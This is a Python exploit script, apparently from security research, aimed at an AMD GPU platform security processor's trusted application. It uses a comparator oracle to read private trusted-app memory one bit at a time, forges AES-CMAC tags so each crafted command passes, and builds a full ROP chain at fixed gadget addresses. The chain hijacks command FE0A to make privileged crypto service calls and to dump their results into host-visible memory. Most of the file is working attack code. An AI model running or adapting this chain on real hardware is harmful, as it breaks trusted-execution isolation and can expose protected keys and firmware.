"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.

params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
Target VA T  ->  D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
(the box has no crypto module). 32 probes binary-search the full 32-bit value.
"""
import struct, sys, glob, json
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am

# ---------- pure-python AES-128 + CMAC ----------
SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
def xt(a):
    a<<=1
    return (a^0x1b)&0xff if a&0x100 else a
def expand(k):
    w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
    for i in range(4,44):
        t=list(w[i-1])
        if i%4==0:
            t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
        w.append([w[i-4][j]^t[j] for j in range(4)])
    return w
def enc(k,b):
    w=expand(k); s=[list(b[i::4]) for i in range(4)]
    s=[[b[r+4*c] for c in range(4)] for r in range(4)]
    def ark(rnd):
        for c in range(4):
            for r in range(4): s[r][c]^=w[rnd*4+c][r]
    ark(0)
    for rnd in range(1,11):
        for r in range(4):
            for c in range(4): s[r][c]=SB[s[r][c]]
        for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
        if rnd!=10:
            for c in range(4):
                a=[s[r][c] for r in range(4)]
                s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
                s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
                s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
                s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
        ark(rnd)
    return bytes(s[r][c] for c in range(4) for r in range(4))
def dbl(b):
    n=int.from_bytes(b,'big')<<1
    if int.from_bytes(b,'big')>>127: n^=0x87
    return (n&((1<<128)-1)).to_bytes(16,'big')
def cmac(k,m):
    L=enc(k,bytes(16)); K1=dbl(L)
    assert len(m)%16==0 and m
    blocks=[m[i:i+16] for i in range(0,len(m),16)]
    blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
    x=bytes(16)
    for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
    return x
# ---------- device ----------
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
g=json.load(open('/root/psp/hw/fe08_good.json'))
CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
def load_asd(p):
    b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
    adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
    try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
    except Exception: return -1
app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
def load():
    n=(len(blob)+3)&~3
    adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
    try:
        r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
    except Exception: return -1,None
def build(cmd,arg10,blob256=None,seed=None,extra=None):
    buf=bytearray(bytes([PAT])*BUFLEN)
    struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
    struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
    if blob256: buf[0x14:0x14+len(blob256)]=blob256
    if seed is not None:
        d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
        buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
        struct.pack_into('<I',buf,0x414,0x10+len(d))
    for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
    return buf
def sub(sid,cmd,buf):
    adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
    try: psp._ring_submit(c)
    except Exception: pass
    adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
    return struct.unpack_from('<I',out,8)[0], out

import time
PARAMS=0x04024000
FILL=0xBB
print('LOAD_ASD:',hex(load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin')))
st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid)); sys.stdout.flush()
def unload(s_):
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_
    try: psp._ring_submit(c)
    except Exception: pass
def handshake():
    global sid
    for _ in range(8):
        ta,out=sub(sid,0xFE07,build(0xFE07,0)); h=struct.unpack_from('<I',out,0x1950)[0]
        if ta==0: return h
        unload(sid); st2,ns=load(); sid=ns if ns else sid; time.sleep(0.2)
    raise RuntimeError('FE07 failed')

# ============================================================================
# FE0A SELECTOR-8 PROBE  (Addendum 142 step 3)
#
# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a
# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418,
# gated by  D > 0xFFFFFFFB || D + 4 <= *(params+0x818).
#
# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the
# command buffer, so nothing out-of-allocation is written and the ring stays healthy.
# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed --
# the 0x834 field identity is a static inference and may be wrong.
# ============================================================================
FILL2 = 0xBB

def invoke(cmd, buf):
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
    try: psp._ring_submit(c)
    except Exception as e: print('    submit exc', e)
    adev.gmc.flush_hdp()
    return bytes(adev.vram.view(cp, BUFLEN)[:])

def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000):
    """identical field set to codeccap's proven fe0a_codec, plus +0x834"""
    buf = bytearray(bytes([FILL2]) * BUFLEN)
    struct.pack_into('<I', buf, 0, 0xFE0A)
    struct.pack_into('<I', buf, 0x10, h)
    struct.pack_into('<I', buf, 0x414, 0x1000)
    struct.pack_into('<I', buf, 0x818, sz818)
    struct.pack_into('<I', buf, 0x81c, 0x20)
    struct.pack_into('<I', buf, 0x820, sel)
    struct.pack_into('<I', buf, 0x824, 0)
    struct.pack_into('<I', buf, 0x828, 0)
    struct.pack_into('<I', buf, 0x86c, d86c)
    if d834 is not None: struct.pack_into('<I', buf, 0x834, d834)
    struct.pack_into('<I', buf, 0x14, 0x11111111)
    return buf

def diffruns(pre, post):
    runs, i, n = [], 0, len(post)
    while i < n:
        if post[i] != pre[i]:
            j = i
            while j < n and post[j] != pre[j]: j += 1
            runs.append((i, post[i:j])); i = j
        else:
            i += 1
    return runs

def probe(tag, sel, d834=None, d86c=0, sz818=0x1000):
    h = handshake()
    sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
    sub(sid, 0xFE09, build(0xFE09, h, seed=1,
        extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0}))
    buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818)
    out = invoke(0xFE0A, buf)
    st = struct.unpack_from('<I', out, 8)[0]
    d834s = 'none' if d834 is None else '%#x' % d834
    print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st))
    runs = diffruns(bytes(buf), out)
    for off, data in runs:
        if len(data) <= 24: print('      +%#07x  %s' % (off, data.hex(' ')))
        else:               print('      +%#07x  len=%-5d %s ...' % (off, len(data), data[:16].hex(' ')))
    if not runs: print('      (no host-visible change at all)')
    sys.stdout.flush()
import struct as _s
PARAMS=0x04024000
RBASE_OFF=0x2000; RBASE=PARAMS+RBASE_OFF
PIVOT=0x0040371d       # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc}
STRB =0x00402267       # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc}
SETR0=0x00405f79       # pop {r0,r8,fp,pc}
RET  =0x0040498d       # 0x40498c error-path entry (mov r6,r0 ; cbnz r0 -> 0x4049d8)
R0VAL=0x00000240       # nonzero status for the cbnz
MARK_OFF=0x3000; MARK=PARAMS+MARK_OFF; MARKB=0x5A
SLOT=0x41bfbc          # PC slot; sl slot = 0x41bfb8, r4 slot = 0x41bfa0
def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF
def fframe(): return tuple(c2p(n) for n in range(82,89))
def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF
def fe0c(h,a10,a18):
    b=bytearray(bytes([PAT])*BUFLEN)
    _s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h)
    _s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18)
    _s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000)
    return b

# ============ CRYPTO ROP HARNESS: TWO svc 0xf2 calls in ONE FE0A-hijacked chain ============
# The FE0A->ROP hijack is one-shot per boot, so stateful crypto sequences (e.g. create -> digest)
# must issue both svc 0xf2 service-1 calls inside a single ROP chain. This chain does:
#   migrate -> svc(msgA) -> svc(msgB) -> exfil statusB -> dump msgB region -> graceful return
# Context handles are deterministic on a fresh boot (first create -> 0x10), so msgB can reference
# the handle created by msgA without threading a return value.
#
# Env OPS = JSON [ {op,msg}, {op,msg} ]  (exactly 2 ops: A then B). B's result is dumped.
RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x00410000; MLEN=0x600
EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; DUMPLEN=0x80; MARK2=PARAMS+0x3100
SETARGS=0x0040167f; MEMCPYG=0x0040410b; SVC1=0x004061cb; EXFILG=0x0040404f
SERVICE=1; GRACE=0x200; MSGA_OFF=0x300; MSGB_OFF=0x400
SCRATCH_OFF=0x500  # input bytes + output buffer live here (in the GCP window)
import os as _os, json as _json
OPS=_json.loads(_os.environ.get('OPS','[{"op":1,"msg":{"15":1342177284,"16":5,"17":0}},{"op":1,"msg":{"15":1342177284,"16":5,"17":0}}]'))
assert len(OPS)==2, "this chain issues exactly 2 svc calls"
INBYTES=bytes.fromhex(_os.environ.get("INBYTES",""))
DUMP_OFF=int(_os.environ.get("DUMP_OFF",str(MSGB_OFF)))

def _msg(buf,m,off,opcode,msgspec):
    def W(o,v): _s.pack_into('<I',buf,o,v&0xFFFFFFFF)
    for k in range(off,off+0x100,4): W(m+k,0)
    W(m+off, opcode)
    for idx,val in msgspec.items(): W(m+off+int(idx)*4, int(val)&0xFFFFFFFF)

def chain(buf):
    def W(off,v): _s.pack_into('<I',buf,off,v&0xFFFFFFFF)
    # primary chain: migrate block -> STACK_DST, pivot in
    o=RBASE_OFF
    for k in range(0,0x20,4): W(o+k,0)
    W(o+0x20, SETARGS); W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN)
    for k in range(0x30,0x58,4): W(o+k,0)
    W(o+0x58, MEMCPYG)
    W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT)
    m=SRC_OFF
    for k in range(0,0x20,4): W(m+k,0)                                  # PIVOT pops r4..fp
    # svc A
    W(m+0x20, SETARGS); W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSGA_OFF)
    for k in range(0x2c,0x58,4): W(m+k,0)
    W(m+0x58, SVC1)                                                     # svc(msgA)
    W(m+0x78,0); W(m+0x7c,0); W(m+0x80, SETARGS)                        # -> setargs for svc B
    # svc B
    W(m+0x84, SERVICE); W(m+0x88, STACK_DST+MSGB_OFF)
    for k in range(0x8c,0xb8,4): W(m+k,0)
    W(m+0xb8, SVC1)                                                     # svc(msgB) (r0=statusB kept)
    W(m+0xd8,0); W(m+0xdc, EXFIL); W(m+0xe0, EXFILG)                    # exfil statusB
    # EXFILG: add sp 0x80 -> pop r4,r5,r7,pc @ m+0x164..0x170
    W(m+0x164,0); W(m+0x168,0); W(m+0x16c,0); W(m+0x170, SETARGS)       # -> setargs for dump
    W(m+0x174, DUMPDST); W(m+0x178, STACK_DST+DUMP_OFF); W(m+0x17c, DUMPLEN)
    for k in range(0x180,0x1a8,4): W(m+k,0)
    W(m+0x1a8, MEMCPYG)                                                 # memcpy(DUMPDST, msgB, 0x80)
    # MEMCPYG: add sp 0x28 -> pop r4,r5,r7,pc @ m+0x1d4..0x1e0
    W(m+0x1d4, STACK_DST+GRACE); W(m+0x1d8,0); W(m+0x1dc,0); W(m+0x1e0, PIVOT)
    # graceful return at STACK_DST+GRACE
    g=m+GRACE
    W(g+0x00,0x5A); W(g+0x04,MARK2)
    for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0)
    W(g+0x20,STRB)
    W(g+0x24,0x8d); W(g+0x28,0x41bfbc); W(g+0x2c,0);W(g+0x30,0);W(g+0x34,0); W(g+0x38,STRB)
    W(g+0x3c,0x49); W(g+0x40,0x41bfbd); W(g+0x44,0);W(g+0x48,0);W(g+0x4c,0); W(g+0x50,STRB)
    W(g+0x54,0x40); W(g+0x58,0x41bfbe); W(g+0x5c,0);W(g+0x60,0);W(g+0x64,0); W(g+0x68,STRB)
    W(g+0x6c,0x00); W(g+0x70,0x41bfbf); W(g+0x74,0);W(g+0x78,0);W(g+0x7c,0); W(g+0x80,STRB)
    W(g+0x84,0x41bf9c); W(g+0x88,0); W(g+0x8c,0);W(g+0x90,0);W(g+0x94,0); W(g+0x98,SETR0)
    W(g+0x9c,R0VAL); W(g+0xa0,0); W(g+0xa4,0); W(g+0xa8,PIVOT)
    # scratch region (input bytes) in the GCP window
    for k in range(SCRATCH_OFF,SCRATCH_OFF+0x100,4): W(m+k,0)
    for i,bb in enumerate(INBYTES): buf[m+SCRATCH_OFF+i]=bb
    # the two messages
    _msg(buf,m,MSGA_OFF,int(OPS[0]["op"]),OPS[0].get("msg",{}))
    _msg(buf,m,MSGB_OFF,int(OPS[1]["op"]),OPS[1].get("msg",{}))

def qcs(h,dA,dB):
    b=bytearray(bytes([0xBB])*BUFLEN)
    _s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h)
    _s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000)
    _s.pack_into('<I',b,0x818,0xFFFFFFF0); _s.pack_into('<I',b,0x81c,0x40)
    _s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0)
    _s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200)
    _s.pack_into('<I',b,0x840,dA&0xFFFFFFFF); _s.pack_into('<Q',b,0x14+0x200,0)
    chain(b); return b

A10=RBASE&0xFFFFFFFF; A18=(PIVOT<<32)
h=handshake()
sub(sid,0xFE0C,fe0c(h,A10,A18))
sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04)))
st=_s.unpack_from('<I',out,8)[0]; fr=fframe()
statusB=_s.unpack_from('<I',out,0x3000)[0]; grace=out[0x3100]
md=[_s.unpack_from('<I',out,0x3010+i*4)[0] for i in range(DUMPLEN//4)]
print("TWO-SVC chain: opA=%#x opB=%#x"%(int(OPS[0]['op']),int(OPS[1]['op'])))
print("  FE0A status=%#x grace=%#04x (want 0x5a)"%(st,grace))
print("  svc(B) return @+0x3000 = %#x"%statusB)
print("  msgB dump: M[14]=%#x M[15]=%#x M[16]=%#x M[17]=%#x"%(md[14],md[15],md[16],md[17]))
print("  msgB M[0..9]: %s"%" ".join("%08x"%md[i] for i in range(10)))
ta,o2=sub(sid,0xFE07,build(0xFE07,0)); print("  final FE07: ta=%#x ringok=%s"%(ta,ta==0))